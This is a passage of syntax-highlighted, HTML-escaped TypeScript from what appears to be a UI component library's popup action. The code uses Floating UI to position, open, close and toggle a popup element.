class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;flip\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Floating UI Compute Position\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/computePosition\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003ecomputePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eplacement\u003c/span\u003e: \u003cspan class=\"kt\"\u003eargs.placement\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Middleware - NOTE: the order matters:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/middleware#ordering\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/offset\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/shift\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eshift\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003epadding\u003c/span\u003e: \u003cspan class=\"kt\"\u003e8\u003c/span\u003e \u003cspan class=\"p\"\u003e}),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/flip\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eflip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emiddleware\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eflip\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}).\u003c/span\u003e\u003cspan class=\"nx\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e(({\u003c/span\u003e \u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ey\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eassign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eleft\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003epx`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etop\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003epx`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// State Handlers\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Set open state to on\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return the current state\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e: \u003cspan class=\"kt\"\u003epopupState.open\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Update render settings\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Update the DOM\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisplay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;block\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopacity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escale\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epointerEvents\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;auto\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Trigger Floating UI autoUpdate (open only)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// https://floating-ui.com/docs/autoUpdate\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eautoUpdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Focus the first focusable element within the popup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eArray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kr\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelectorAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003efocusableAllowedList\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecallback\u003c/span\u003e\u003cspan class=\"o\"\u003e?:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Set transition duration\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ecssTransitionDuration\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eparseFloat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetComputedStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003etransitionDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereplace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Set open state to off\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return the current state\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e: \u003cspan class=\"kt\"\u003epopupState.open\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Update the DOM\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopacity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escale\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0.95\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisplay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e \u003cspan class=\"nx\"\u003ecssTransitionDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epointerEvents\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Cleanup Floating UI autoUpdate (close only)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Trigger callback\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecallback\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003ecallback\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Event Handlers\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan 